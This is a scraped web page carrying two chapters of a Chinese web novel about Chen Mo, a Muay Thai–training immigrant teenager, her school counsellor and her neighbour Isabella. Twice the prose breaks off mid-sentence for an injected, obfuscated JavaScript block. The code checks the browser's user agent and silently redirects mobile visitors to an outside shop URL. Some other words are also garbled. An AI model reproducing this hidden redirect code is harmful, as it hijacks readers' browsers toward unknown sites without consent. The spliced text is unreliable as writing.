陈漠看了一眼墙上的钟,七点十分。 周秀兰六点多就出门了,洗衣店早上七点开工,她走路过去要将近十五分钟,中间还要从菜市场的路口穿过去,所以六点必须起床。陈国栋的班从十点开始,但他是夜猫子,睡得晚也起得晚,这会儿多半还在床上。 五块钱。周秀兰大概是觉得昨天给的饭钱够她用一个礼拜,今天就不多给了。陈漠把五块钱揣进兜里,去厨房热了两片面包,倒了一杯牛奶,靠在料理台边三口两口解决掉,然后从冰箱里拿出盒快过期的牛奶看了一眼,还有大半盒。她皱了皱眉,仰头灌了几口,又把剩下的放了回去。颂蓬说训练期间蛋白质要跟上,过期的牛奶也是蛋白质。 七点半,她上楼换了校服。洛根市那所公立高中的校服是一件白色的Polo衫加一条深蓝色的长裤,款式丑得一言难尽,布料又硬又不透气,唯一的优点是不太容易显出脏。她把Polo衫的下摆塞进裤腰里,对着衣柜门上的全身镜照了一眼。 这面镜子大概是她房间里唯一一件属于她自己的家具,是丁哥送给她的。有一回她帮丁哥送了个东西,丁哥骑着摩托送她回来,摩托车侧面用绳子绑着这面镜子。丁哥说修车厂里多了一面,扔了也是浪费。陈漠就把它扛回家,靠墙放着,后来用它矫正自己的训练姿势,跟颂蓬训练完回来,她对着镜子反复做动作,直到肌肉记忆定型为止。 镜子里的人看起来不太像一个高中女生。 一米七八的身高穿上校服之后更显眼,肩膀宽,腰窄,校服Polo衫被撑出骨骼和肌肉的轮廓。右眉骨上的疤在镜子里看更明显,像一道被缝过的裂痕嵌入了眉峰,让她整张脸即使不做任何表情也带着攻击性。皮肤不算白,也不是纯粹的黄种人肤色,是长年累月在街区里跑动晒出来的不均匀的浅麦色,颧骨和鼻梁上晒得最深,领口遮住的地方倒是白一些。 她对着镜子把头发随意地扎了个马尾,拎起书包,往里面塞了一本数学课本和一支笔,颂蓬昨天说让她带本子和笔过去,要教她怎么看拳赛的计分表。 过了一阵,她下楼,穿上一双运动鞋,拎起门口那袋垃圾,推门走了出去。 早上七点四十五分的第六街区和夜晚完全是两个世界。 阳光照在那些老旧的木结构房子上,外墙照得更加清楚,墙漆剥落的地方露出了下面灰色的木头原色,有些房子的屋顶上铺着颜色深浅不一的补丁瓦片,门廊的栏杆斜斜地歪着,但阳光就是有这种本事,它把一切都照得比实际上好看一些。 有人在街角支了个简易的早餐摊,是个越南裔的中年女人,煤气炉上架着一口平底锅,正在煎一种包着肉馅的米饼,滋滋的油响和焦香味飘了大半条街。几个穿着工装的拉美裔男人围在摊子前面,一手端着一杯纸杯装的咖啡,用西语大声聊着天。 便利店门口,老板娘正拿着水管冲门口的地面。她看到陈漠从门前经过,抬起头喊了一句半韩语半英语的话,大意是问她什么时候再来帮忙搬货。 陈漠用韩语回了句“???”,下周,然后加快脚步走了过去。 街对面的篮球场上已经有几个黑人在打早场。 一个穿着红色运动背心的光头男人正在投三分,球砸在褪色的篮板上,哐地弹了回来。 4. 第 4 章 早上八点整,陈漠踩进了高中的校门。 校门其实就是一个敞开的铁栅栏门,漆成暗绿色,左半边有点歪,是被去年一辆失控的皮卡撞的,到现在也没修好。 校门口的保安是个六十多岁的白人老头,坐在一个塑料椅子上晒太阳,帽子拉下来盖住半张脸,对每一个走进校门的学生都不闻不问,偶尔抬起帽檐,也只是为了往嘴里塞一块口香糖。 校园不大,主教学楼是一栋四层的水泥建筑,外观方方正正毫无美感可言,墙上刷着一层灰漆。楼前的旗杆上挂着旗子,被风吹得蔫头耷脑地垂着。教学楼旁边是操场,塑胶跑道已经磨得露出了下面的水泥底,足球场的草皮东秃一块西秃一块,球门网上有几个大洞。操场再过去就是停车场,也就是上个月陈漠打架的地方。 教学楼正门进来左手边是学生事务处,右手边是一长排铁皮储物柜,柜子表面被划得乱七八糟,涂鸦和刻痕一层叠着一层。这时候走廊里的人还不算多,有几个学生三三两两地靠在储物柜上聊天,嘴里嚼着口香糖,书包扔在地上。一个瘦高个的白人男生头顶上戴着耳机,靠在墙角打盹,校服领子上沾着一块不知是咖啡还是什么东西的污渍。 陈漠穿过走廊的时候,目光平视前方,脚步不快不慢。她能感觉到有几道视线落在自己身上,在右侧走廊尽头的饮水机旁边,两个女生,其中一个是上个月停车场上跟红头发那拨人走得近的一个,看到陈漠走过来,表情僵了一下,假装低头拧水瓶。陈漠从她旁边经过的时候,连眼皮都没抬一下。 她的储物柜在走廊中段,号码是214。她把书包塞进去,拿出数学课本和一支笔,正要关门,旁边传来一个声音。 “哟,你今天居然来了。” 陈漠偏头,看到一个黑人男生靠在旁边的储物柜上。他个子不算高但很壮实,校服Polo衫被撑得鼓鼓囊囊的,脖子上挂着一根银色的链子,脸上带着一种吊儿郎当的笑。他叫马库斯,和陈漠同级,是她在这所学校里屈指可数能说上几句话的人,但也仅限于说几句话,算不上朋友。 “我每天都来,”陈漠关上柜门,按下锁扣,“你只是没看到。” “那是因为你每天都不在教室里,”马库斯咧嘴笑了,露出一口被牙套纠正到一半的牙齿,“你知道上周五历史课点名的时候,老师说了一句什么吗?他说陈漠又没来,行吧,习惯了。你已经被习惯了。” “我上周五有事。”陈漠说。上周五她在帮丁哥送东西,从下午一直送到晚上,送到她两条腿都快跑断了。 “你哪周五没事?”马库斯耸了耸肩,“不过说真的,法利小姐又在找你。她让我给你带话,说让你今天务必去她办公室一趟。务必,她用了这个词,你懂法利小姐用务必是什么意思吧?” 法利小姐,学校的学生顾问,一个五十多岁的白人女性,戴着厚厚的圆框眼镜,说话慢条斯理。全校大概有一千两百个学生,学生顾问却只有三个,理论上她忙得脚不沾地,但实际上她总能腾出时间来找陈漠。 如果说陈漠逃课打架加入帮派却没有被开除,有什么原因的话,除了她还没有被真正抓到什么把柄之外,法利小姐的存在大概占了其中一大半。 这个戴着厚眼镜永远穿着米色开衫毛衣的女人,从陈漠入学第一天就开始注意她了。入学资料上陈漠的成绩不差,准确地说,相当好。九年级入学摸底考试,她的数学和科学两门课的成绩排进了全校前百分之三,阅读和写作也不差,在同年级的英语学习者里是拔尖的那一批。 但后来的事情开始歪了。打架记录从九年级下学期开始出现,先是跟嘲笑她口音的人打,然后是跟欺负她的人打,再后来是跟所有招惹她的人打。教务处的人一开始是皱眉,后来是叹气,再后来直接放弃打电话,只在档案上一条一条地加上记录。奇怪的是,她从来没被停课超过三天以上的处分。每一次档案里都有一条备注,来自法利小姐办公桌上的那台电脑,措辞大致相同。 “建议给予行为纠正机会,该生学业表现未受明显影响”。 “知道了。”陈漠说,数学课本夹在胳膊底下,转身往办公室的方向走。 法利小姐的办公室在教学楼二楼的拐角处,门牌上写着“学生顾问——S.法利”。门是开着的,里面飘出一股香草味空气清新剂的味道。 陈漠站在门口敲了敲门,里面传来一个温和的声音:e in。” 法利小姐坐在一张堆满了文件夹和学生档案的办公桌后面,面前摆着一台台式电脑。她穿着永远不变的那件米色开衫毛衣,里面的衬衫领子熨得笔挺,灰棕色的短发齐耳,戴着一副镜片厚得像啤酒瓶底的圆框眼镜。看到走进来的是陈漠,她把键盘往前一推,摘下眼镜用衣角擦了擦,重新戴上,靠进椅背里。 “陈漠,”她说,语气不像训导主任,更像一个看到不听话的侄女终于回家了的姑姑,“坐。” 陈漠在对面的椅子上坐下来,数学课本放在膝盖上,背脊没有靠到椅背。 “你上周五没来。”法利小姐说,她面前的电脑屏幕上显示着陈漠的考勤记录,密密麻麻的红色标记比绿色多。 “有事。”陈漠说。 “你每次都说有事。” “因为每次确实都有事。” 法利小姐看了她两秒,叹了口气,伸手从旁边那摞文件夹里抽出一个,打开,里面是陈漠这个学期的成绩单,以及她上周刚交上去的一篇关于移民潮的历史论文。论文是打印出来的,页脚上标着评分,一个字母加一个符号,开头的字母是A。 “你上周交的论文,历史课的丹尼尔斯先生专门拿来给我看了,”法利小姐抽出打印纸放在桌上,手指点在评分栏上,“A+。全班最高分,准确地说,是他教书十五年见过的最好的十年级论文之一。”她抬起眼睛看着陈漠,镜片后面是一双灰蓝色的眼睛,“你写的是八九十年代的偷渡潮,分析得很深。丹尼尔斯先生说他读到中间的时候都忘了这是一个十年级学生写的。” 陈漠写那篇论文的时候熬了两个通宵,一部分是因为对那段历史感兴趣,另一部分是因为丹尼尔斯先生是学校里为数不多她不讨厌的老师之一。 教历史的白人老头,六十多岁,秃顶,上课的时候会突然手舞足蹈地模仿某个历史人物的演讲,激情澎湃到唾沫星子飞溅。他对移民没有任何偏见,这一点陈漠在他第一次上课的时候就感觉到了。他甚至会在课后找陈漠聊天,问她家里的情况,问她以后想做什么。 “丹尼尔斯先生让我来劝你,”法利小姐把论文放回文件夹里,“他说你这学期已经翘了他六节课,虽然你交上去的作业每一篇都是A,但他觉得如果你真正来上课,你学到的会比你现在多得多。” “我自学也能跟得上。”陈漠说。 “我不是在质疑你的能力。”法利小姐靠回椅背,十指交叉放在桌面上,这个姿势让她的眼镜在日光灯下泛着白光,“我是在担心你别的方面。” 她没有直接问陈漠是不是加入了帮派,但话里的弦外之音已经足够明显了。法利小姐在这个学区干了二十三年,什么样的学生没见过,像陈漠这种情况的,她一闻就知道风向。 “你是一个聪明的学生,”法利小姐说,“我在这个学区干了二十三年,聪明的学生我见过太多了,聪明的穷学生也很多,但聪明到能把自己从泥潭里拽出来的人,我这二十三年里只见过几个。你需要知道,你之前的那些处分,其实需要被开除几次了,我都给你挡了下来。你不用谢我,我不是为了让你谢我才这么做的。我只是觉得你不应该被这个街区定义。” “不过你这些天缺课太多了,虽然你的考试和作业分数撑住了,但再这样下去,你的总评会被出勤率拖垮。你明白我的意思吗?你如果想拿到毕业证,想去读一个社区大学甚至州立大学,你需要的不只是A+的论文,你需要坐在教室里。至少大部分时间。” “社区大学。”陈漠重复了一遍这个词。 “对,社区大学,”法利小姐隔着镜片盯着她,“你没有合法身份,很多奖助学金你申请不了,但社区大学不需要那些。你只需要一个高中毕业证和一份看得过去的成绩单,你现有的分数足够了,加上你父母收入情况申请政府补贴,你甚至不需要花太多钱。这在法律上是可行的。我已经查过了。” 陈漠抬起了眼。她没想到法利小姐连这些东西都查过了,专门为了她去查的。这个戴着厚眼镜的女人大概花了不少时间,在密密麻麻的教育法案条款里翻找,就为了找到一个破例的可能,塞给这个坐在她办公室里满身街头气息的华人女孩。 她们对视了两秒。 法利小姐率先移开了目光,低下头在抽屉里翻找了一阵,拿出一个信封放在桌上,推到陈漠面前。信封不大,上面用回形针别着一张便签,写着“课后辅导项目——科学”。 “学校新开了一个课后的科学辅导班,”法利小姐说,语气恢复了一贯的温和,“每周一三五下午三点到五点,在实验楼二楼的化学实验室。有这个辅导班的证书会给明年申请奖学金提供很有利的参考。我不要求你每次都去,但至少去几次,让我在文件上有个交代。” 陈漠看着那个信封。她知道这不是什么真实的辅导班,或者说,辅导班是真的,但法利小姐把它塞给她并不单纯是为了让她提高科学成绩。这是在给她一个合理的,可以写在档案上的,每周一三五下午不在课堂却不算旷课的理由。 “好。”她伸手拿起信封塞进书包里,站起身。 “你今天上午还有两节课。”法利小姐提醒她。 “我知道。”陈漠走到门口,手搭在门框上停了半秒,侧过头,声音很低地说了句“谢谢您”。 她没有等法利小姐回答,迈开步子走了出去。 上午剩下的两节课,陈漠真的去上了。 一节数学,一节生物,两节课她都坐在教室最后一排靠窗的位置,数学课本摊开在桌面上,笔在笔记本上断断续续地记着东西。 数学老师是一个喜欢穿格子衬衫的年轻白人男老师,讲课的时候习惯在黑板上写一堆公式然后飞速地擦掉,大部分学生跟不上他的节奏,但陈漠跟得上。生物课的进度更慢一些,生物老师在讲细胞分裂,投影仪上放着一张被放大了无数倍的洋葱根尖细胞切片图,紫红色的染色体排列得整整齐齐。 她难得在学校待得久了一点。中午十一点四十,午休铃响了,陈漠走出教学楼,准备往校门口走,路过停车场的时候,她下意识地往角落里那排被太阳晒得发白的车位看了一眼,上个月打架的那个地方,现在停着一辆银色的丰田,干干净净的,好像什么都没发生过一样。 走了两步,她的脚步停了。 准确地说,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523277|203371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞥到了停车场另一端有一个熟悉的影子,站在停车场尽头的铁栅栏旁边,蜜棕色的皮肤在正午的阳光下像涂了一层蜂蜜。伊莎贝拉今天穿着校服Polo衫和牛仔裤,深棕色的卷发用一根蓝色的发圈绑了个高马尾,发尾在她转头的时候扫过肩膀。 她旁边站着一个男的,个子很高,穿一件深灰色的连帽卫衣,帽子没套上,露出一脑袋剃得很短的黑色卷发,肩膀上挂着一个看起来挺沉的工具包。陈漠眯着眼睛辨认了一下,那个工具包的带子上印着一行字,“第九街区汽修”。 洛根市第九街区和第六街区交界的地方有一排修车铺,其中有一家叫“第九街区汽修”的,她路过的时候见过那个招牌,上面画着一辆被火焰包裹的肌肉车。 那个男的就是红头发女生的哥哥。上个月停车场打架事件里被她一肘砸断锁骨,红头发女生的亲哥哥。他在第九街区那家汽修铺工作,同时也是当地一个帮派的成员,名声不太好,也不算大人物,属于那种在街角站着的喽啰角色。 此刻他站在伊莎贝拉面前,脸上的表情不算凶狠,姿态却带着一种明显的压迫感,身体往伊莎贝拉的方向倾斜着,把伊莎贝拉卡在了铁栅栏和他之间,伊莎贝拉只能往后靠在栅栏上,脸微微侧开,嘴唇抿着,眉头拧在一起。 她的表情不是害怕,更像是厌恶和恼怒。 灰色运动立领外套的拉链拉到下巴,陈漠双手插在口袋里,步子不急不缓地往停车场的方向走过去。 男的还在说话,声音隐隐约约传过来。 “……所以我就想问问你,到底是哪天,谁先动的手。我没别的意思,就想问问。” 伊莎贝拉的声音很冷,“我不知道谁先动她。我只看见她带人堵别人,没打赢,然后就哭了,哭着去找你了,不是吗?” 男的仰头笑了,笑声在停车场里回荡,听起来特别刺耳。他正想开口说什么,忽然感觉侧面有什么东西挡住了阳光,一个人形的东西,比他矮不了多少。 他转过头。 陈漠站在离他两步远的地方,双手插在口袋里,马尾被风吹得斜斜地贴在肩膀上。她目光越过他看向伊莎贝拉,语气平淡地问了句:“需要帮忙吗?” 伊莎贝拉在看到陈漠的那一瞬间,肩膀明显松了一下,一直绷紧的身体有了一个微小的松弛。她深吸了一口气,站直身体,往旁边挪了一步,拉开了距离。 “不用,”伊莎贝拉说,声音比刚才稳了一些,“安德烈斯正要走。” 叫安德烈斯的男人盯着陈漠看了一会儿,目光在她右眉骨的疤上停了一瞬,在她身上扫了一圈。他知道她是谁,在第六街区和第九街区交界这片地方,修车厂里训练的女孩子,跟颂蓬练泰拳的,这不算什么秘密。他收回目光,嘴角扯了一下,露出一个皮笑肉不笑的表情,往后退了一步,抬手做了个投降的姿势。 “Relax,”他说,声音拖得又慢又油,“我就是来问点事,问完了,走了。”他转身往停车场出口走了两步,又回过头来看着陈漠,脸上的笑容里带着一种让人不太舒服的意味深长,“回头见了。” 他走了。 停车场重归安静。 伊莎贝拉靠在栅栏上,长出了一口气,“谢谢你,虽然我真的不需要帮忙,但你能过来,我还是很感谢。”说着,她把马尾辫的发圈取下来重新绑了一遍,手腕上花花绿绿的编织手绳在阳光下晃动着,皮肤上浮着一层细密的汗珠,锁骨下面那片蜜棕色的皮肤因为刚刚的紧张微微泛着红。 陈漠看了伊莎贝拉一眼,插在口袋里的手抽出来,“他还会再来,下次你别一个人。” “知道了,”伊莎贝拉松开头发,卷发往肩后一甩,“不过下次可能就换成别人了,他妹妹有一百种办法找我的麻烦。这就是高中的乐趣所在,不是吗?” 陈漠“……” 她不太想讨论这个话题,转身往校门口走,走了几步听到身后有脚步声追上来。 “你去哪?”伊莎贝拉问。 “回家。”陈漠说。 “你下午不上课了?” “不上。” 伊莎贝拉笑了一声,“行吧,反正我也只剩一节美术,翘了就翘了。一起走?” 她们并肩走出了校门。正午的阳光从头顶直直地照下来,在身后投下两个影子,一个高一些,肩膀更宽,走路的时候带着散漫,每一步都踩得很稳,另一个稍微矮一点,卷发马尾在脑袋后面一甩一甩的,步子轻快有节奏感。 两个影子在地上拉得长长短短,交叠,分开,再交叠。 走到便利店门口的时候,伊莎贝拉忽然开口说了一句话,声音被风吹散了一半。陈漠偏头看伊莎贝拉,等她重复,但伊莎贝拉只是笑着摇了摇头,梨涡在太阳底下明明灭灭的。 便利店门口,老板娘正在用一块抹布擦冰柜的玻璃门。看到陈漠和伊莎贝拉一前一后经过,老板娘隔着玻璃门冲陈漠竖了个大拇指,嘴里蹦出一句韩语:“?????” 陈漠脚步顿了一下,偏头看了老板娘一眼,用韩语回了两个字,咬字很准。 “闭嘴。” 老板娘哈哈大笑,手里的抹布差点掉进水桶里。 伊莎贝拉听不懂韩语,但她从老板娘的表情和陈漠的反应里大概猜到了什么,耳朵尖泛起了一层浅红,不过很快就消了下去,快走两步跟上陈漠的步伐。 5. 第 5 章 两人并排走过便利店,往家的方向走。 伊莎贝拉一路走一路说话。她的话又多又碎,话题从刚才停车场那个安德烈斯有多烦人,跳到她今天美术课本来要交的一幅素描还没画完,又跳到Biscuit昨天半夜被一只浣熊吓得从狗窝里蹦起来撞翻了垃圾桶,偶尔夹一两个西班牙语单词,好像默认陈漠一定能听懂似的。 陈漠没什么回应,伊莎贝拉似乎也不需要回应,有人走在她旁边听她说就已经足够了。 走到她们住的那排房子前面时,伊莎贝拉先停下了脚步。那栋白墙蓝窗的房子在正午的太阳底下看起来很显眼,草坪刚修剪过,草茬平铺着。门廊的栏杆是新漆过的白色,台阶上放着一盆开得正盛的万寿菊,橘红色的花瓣在日光下亮得像一团小火。窗台上还有一盆吊兰,绿色的藤蔓从白色的花盆里垂下来,被风吹得轻轻晃动。 这栋房子和陈漠家那栋只隔了一条窄窄的车道和几丛矮灌木,打理的程度完全是两个世界。 伊莎贝拉推开白漆包铁皮的栅栏门,回头看了陈漠一眼,脸上露出一个理所当然的表情,“你站那干嘛?进来啊。” 陈漠双手插在口袋里。她抬起眼皮看了看那扇敞开的栅栏门,又看了看伊莎贝拉,嘴唇动了一下,拒绝的话刚到喉咙口。 伊莎贝拉在她没开口之前就又说话了,语气像是临时想起来似的,很随意,“Biscuit想你了。昨天你摸完她之后,她趴在门口等了一晚上,我拽都拽不回来。”她顿了一下,偏头看着陈漠,嘴角那个梨涡又浮了出来,“而且你回家不也是一个人吃饭?你爸妈这个时候又不在家。我家中午做的菜多了吃不完浪费,就是多了双筷子的事情,没多麻烦。” 她说到“没多麻烦”的时候,语气轻得像是真的只是顺手添一碗饭的事。 陈漠看了她一眼,没有动。她不太习惯别人对她好,对别人的善意她有一种本能般的警惕,总觉得那背后藏着什么她需要还的东西。 伊莎贝拉看陈漠还不动作,就走前门直接把那扇白色木框的纱门推开了,歪着头冲屋里喊了一声,用的是西班牙语,大概是“妈!我带朋友回来吃饭!”说完,她半个身子探进门里,一只脚踩着门槛,回头冲陈漠招了一下手,“你还等什么?等你家那栋房子的门廊自己飞过来接你?” 陈漠看着伊莎贝拉半个身子歪在门框上的样子,看着她那头卷发在阳光下泛着棕金色的光泽,看着她脸上毫无保留的好意。她发现伊莎贝拉这种人,你没办法用拒绝来对付她们,因为她们给你东西的时候根本没想过要你还。 手从口袋里抽出来,她走上前,踩上了伊莎贝拉家的第一级台阶。 门廊的木地板擦得很干净,踩上去发出闷闷的声响。 纱门合上。 陈漠站在伊莎贝拉家的客厅里,眼睛花了几秒来适应室内比外面暗一些的光线。 这个客厅比她家的大了将近一半。地板是深棕色的实木地板,上面铺着一块米色底红蓝花纹的编织地毯,图案是典型的拉丁美洲风格,几何纹样一层套一层。沙发是一套奶油色的布艺沙发,三加二的组合,靠垫鼓鼓囊囊的,其中一个上面绣着一只歪歪扭扭的鹦鹉。沙发对面的电视柜比她家的宽了两倍不止,上面摆着一台平板电视,电视旁边是一排相框,大大小小有十几个,照片里的人皮肤都是蜜棕色的,笑起来露出一排排白牙。窗帘是亮黄色的,被窗外的风吹得鼓起又落下。 墙上刷着暖调的奶油色漆,挂着一个木质的十字架,十字架上雕刻着繁复的花纹,耶稣的脚边刻着几朵玫瑰。十字架旁边还挂着一幅装裱好的织锦画,画面是一个色彩饱和度极高的市场场景,穿着传统服饰的女人头顶着水果篮。空气里弥漫着一股炖肉和某种香料的混合气味,咸香里带着一丝辛辣,还有一种像肉桂又不是肉桂的甜香,裹住了整个空间。 “?Mamá! ?Regresé con una amiga!”伊莎贝拉一边踢掉脚上的鞋,一边朝厨房的方向喊了一句,声音在这个宽敞的客厅里响得格外清脆。 伊莎贝拉的母亲从厨房门口探出头来。 那是一个和伊莎贝拉长得很像的中年女人,比伊莎贝拉丰腴,体形中等偏壮,肩膀圆润,穿着一件深红色的家居裙,裙子外面系着一条白色围裙。她的皮肤比伊莎贝拉更深一些,接近咖啡豆的颜色,一头卷发高高地盘在头顶,用一根木簪子固定住,几缕碎发贴在汗湿的额角上。她的五官和伊莎贝拉如出一辙,浓眉,深眼窝,丰满的嘴唇,但下颌线条更硬朗,眼角有细密的纹路,笑起来的时候那些纹路就挤在一起。 她看到陈漠的时候,眼睛亮了一下,露出了一个和伊莎贝拉一模一样的笑容,连梨涡的位置都一样,只不过她的更深,更明显。 “?Ah,tú debes ser Chen!”她用西班牙语说了一句,声音洪亮,说话的时候手里的锅铲搁在灶台上,在围裙上擦了擦手,大步走了过来。 走到陈漠面前,她没有任何停顿,直接伸出双手握住了陈漠的手腕,手心干燥有力,虎口带着常年在厨房里劳作磨出来的厚茧。 “Isabella habla de ti todo el tiempo。说你帮她打跑了那些欺负人的坏种,说你练泰拳,说你特别厉害。”她上下打量着陈漠,拇指在陈漠的手背上摩挲了一下,“哎呀,这么瘦!你爸妈是不是不给你吃饭?”她说完,自己先笑了,接着她用口音浓重但语法完整的英语说了一句:“Wee to our home, sweetheart。把这里当自己家,别客气。” 洛佩兹太太是一个会在打量你三秒后就能说出“你太瘦了多吃点”的人。 陈漠发现自己竟然紧张了一下。这种紧张跟她在街头面对挑衅时的冷静完全不同,跟她在拳场上面对对手时的专注也完全不同。她不太会应付这种毫无保留的善意,就好像她会的所有生存技巧在这种场合里都用不上。她站在那里,喉咙动了动,最后只是点头,低声说了句:“谢谢您,洛佩兹太太。” 伊莎贝拉的妈妈愣了一下,“叫我罗莎,别叫太太,叫太太让我觉得我已经七十岁了。”她松开陈漠的手腕,转身往厨房走,走了两步又回过头来,眉头皱起来,“十五分钟,十五分钟后吃饭。别站着了,伊莎贝拉,带你朋友去你房间坐坐。” 伊莎贝拉已经站在楼梯口等着了,她一只手撑着腰,另一只手往上指了指,冲陈漠扬了扬下巴,“走吧。” 陈漠走到楼梯前。 楼梯的墙壁上贴着浅色的条纹墙纸,转角处挂着一幅油画,画的是一棵孤零零地站在金色田野上的橄榄树。拾级而上,脚下的木质台阶,踩上去发出吱呀声。上到二楼,一条铺着浅色地毯的走廊在眼前展开,地毯踩上去软软的,能感觉到脚底的缓冲,墙上每隔几步就有一幅风景油画,海滩、日落、金色的田野。右手边第一个门开着,里面是一间卧室,窗帘半掩着,能看到一张铺着深蓝色床单的双人床和床头柜上放着的一副眼镜。隔壁的门关着,伊莎贝拉没有停留,直接推开了走廊尽头的最后一扇门。 “我的房间。” 她推开门,侧身让陈漠先进。 陈漠走进去,第一感觉是颜色。 伊莎贝拉的房间墙壁刷成了一种柔和的淡紫色,暮色刚刚降临时天空的颜色。窗户朝向街道,阳光从百叶窗的缝隙里漏进来,在地板上投下一排平行的光带。窗户下的暖气片盖子上铺着一块手工钩织的白色镂空垫,上面坐着一排大小不一的毛绒玩具,有熊,有兔子,还有一只看起来像是墨西哥市场里买的手工布娃娃,穿着彩色的裙子。床不大,是单人床,床上铺着白底碎花的床单,被子叠得整整齐齐,枕头上靠着一只棕色泰迪熊。 书桌靠墙放着,桌上堆着几本教科书和一个素描本,素描本的封面画着一只正在奔跑的狗,看轮廓应该是Biscuit。墙角竖着一个画架,画架上夹着一张还没完成的素描,画的也是Biscuit,不过这一幅更精细,金毛的毛发一根一根地画出来,眼睛的部分刚起了个轮廓,还没有画完。书桌旁边的墙上贴着很多东西,有她自己画的素描,有剪下来的杂志图片,有几张电影的海报,还有一面软木板,上面用彩色图钉钉满了照片。都是她的家人朋友,还有好几张是Biscuit从小到大的成长记录,从一只小得能捧在手心的金毛幼崽到如今毛发蓬松的大狗,时间跨度清晰可见。房间里有一股淡淡的香味,花果味,甜甜的但不腻。 陈漠见过伊莎贝拉很多次,在学校走廊擦肩而过的时候,在街角便利店偶遇的时候,在隔壁门廊倒垃圾的时候。但那个伊莎贝拉是校服版的,牛仔裤版的,便利店门口笑着挥手的,都是一个侧影或者一个片段。真正站到这个房间里,看到她画的素描,她小时候的照片,她床上那只泰迪熊,这些碎片突然就拼成了一个完整有体温的人,不再是隔壁那个拉美裔邻居,而是伊莎贝拉本人,活生生的,立体的,有颜色的。 伊莎贝拉把马尾辫的发圈扯下来,卷发散了一肩膀,她甩了甩头,让头发散得更自然些,一屁股坐到床沿上,盘起腿,拍了拍身边的位置,“坐啊,别光站着,你杵在那里像根电线杆。” 陈漠看了她一眼,走到她旁边,在床沿上坐了下来。床垫比她自己那张硬板床软得多,坐下去的时候整个人陷进去了一点。双手交叠放在膝盖上,她背脊微弯,目光平视着对面墙上那张还没完成的Biscuit素描。 厨房里的动静隔着走廊传过来,锅铲碰撞铁锅的声响,水流冲刷砧板的声音,罗莎哼着一首西班牙语的老歌,调子拖得长长短短的,像在自言自语又像在唱歌。Biscuit不知道从哪个角落里跑出来,爪子啪嗒啪嗒地踩着木地板一路跑到房门口,用鼻子顶开虚掩的门,先冲伊莎贝拉摇了摇尾巴,然后径直走向陈漠,脑袋搁在她膝盖上,伸出粉色的舌头舔了一下自己的鼻子。 陈漠的手自动抬起来,落在Biscuit的脑袋上,揉着它耳后的软毛,动作很慢。 伊莎贝拉歪着头看她,胳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523278|203371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膊肘撑在膝盖上,手掌托着下巴,嘴角挂着一个说不清是满意还是好奇的笑。 她看了一会儿,忽然伸手从床头柜上拿过手机,最新款手机,外壳套着一个亮橙色的硅胶保护套,上面印着一只卡通化的金毛犬,咧嘴吐着舌头,跟Biscuit有几分神似。 手机屏幕干干净净,没有裂痕也没有划痕,她爸虽然人在东海岸,但每个月寄回来的支票从不断档,去年她生日的时候专门嘱咐罗莎给她换一部新的,说女儿大了,不能让她在同学面前拿不出手。 她单手划开屏幕,拇指在屏幕上点了几下,抬起头来看着陈漠。 “你Instagram是什么?” “我没有。” “你没有Instagram?”伊莎贝拉眨了眨眼睛,好像听到了什么不可思议的事情,“Facebook呢?Twitter?WhatsApp总该有吧?” 陈漠看了她一眼,那个表情大概能翻译成,你觉得呢。 伊莎贝拉张着嘴愣了两秒,然后噗地笑出声来,笑声又脆又响,把趴在她脚边的Biscuit吓得抬起了脑袋。 “天哪,你活在哪个年代?”她一边笑一边摇头,手指在屏幕上划拉,“我以为你只是不爱说话,没想到你连社交媒体都没有。那你平时跟别人怎么联系?打电话?” “面对面。”陈漠说。 伊莎贝拉又笑了,这次笑得更厉害,整个人往后仰倒在床垫上,卷发散了一枕头,天花板上的灯光照在她脸上,把她深棕色的眼仁照得亮晶晶的。她笑够了之后翻身坐起来,盘腿坐在陈漠对面,表情严肃了一些。 “不行,这太离谱了。你等一下。”她重新拿起手机,打开应用商店,拇指在搜索栏里嗒嗒嗒地敲了几下,“WhatsApp,这个你必须得有。我们整条街都在用,我哥在公司跟客户联系都用这个。而且它可以发消息,可以打电话,只走WiFi不要钱。” 她说话的时候语速快得像连珠炮,手指的速度也不慢,下载、安装、注册,一套流程行云流水。她问到电话号码的时候,陈漠报了一串数字,那是陈国栋去年给她买的一部最便宜的预付费手机,平时塞在书包最底层,除了接丁哥的电话和给家里发短信之外几乎不用。 伊莎贝拉把号码输进去,手机上跳出一个绿色的验证码发送成功的提示。紧接着她从陈漠书包里翻出手机,一部黑乎乎毫不起眼的安卓机,外壳上什么装饰都没有,屏幕贴膜上全是划痕,三下两下帮她装好应用,注册了账号,把自己的号码存了进去。 “搞定。”手机递还给陈漠,她低头在自己的手机上点了几下。 黑乎乎的手机嗡地震动了一下,屏幕上弹出一条消息。 Isabella López:Hey 陈漠看着那条消息,屏幕上的字在日光灯下泛着冷白色的光。她抬起头,伊莎贝拉正跪坐在床沿上,双手捧着手机举在胸前,深棕色的眼睛从屏幕上方露出来,正盯着她看,表情里带着一种小孩子拆礼物时才会有的期待。 她低下头,拇指在键盘上慢慢敲了两下。 Chen:hi 伊莎贝拉看到消息弹出来的时候,脸上的笑容绽开得比刚才任何一次都大,直接举起手机对准自己,歪着头,嘴角挤出那个梨涡,另一只手绕到Biscuit的下巴底下把狗脸抬起来,按下了快门。 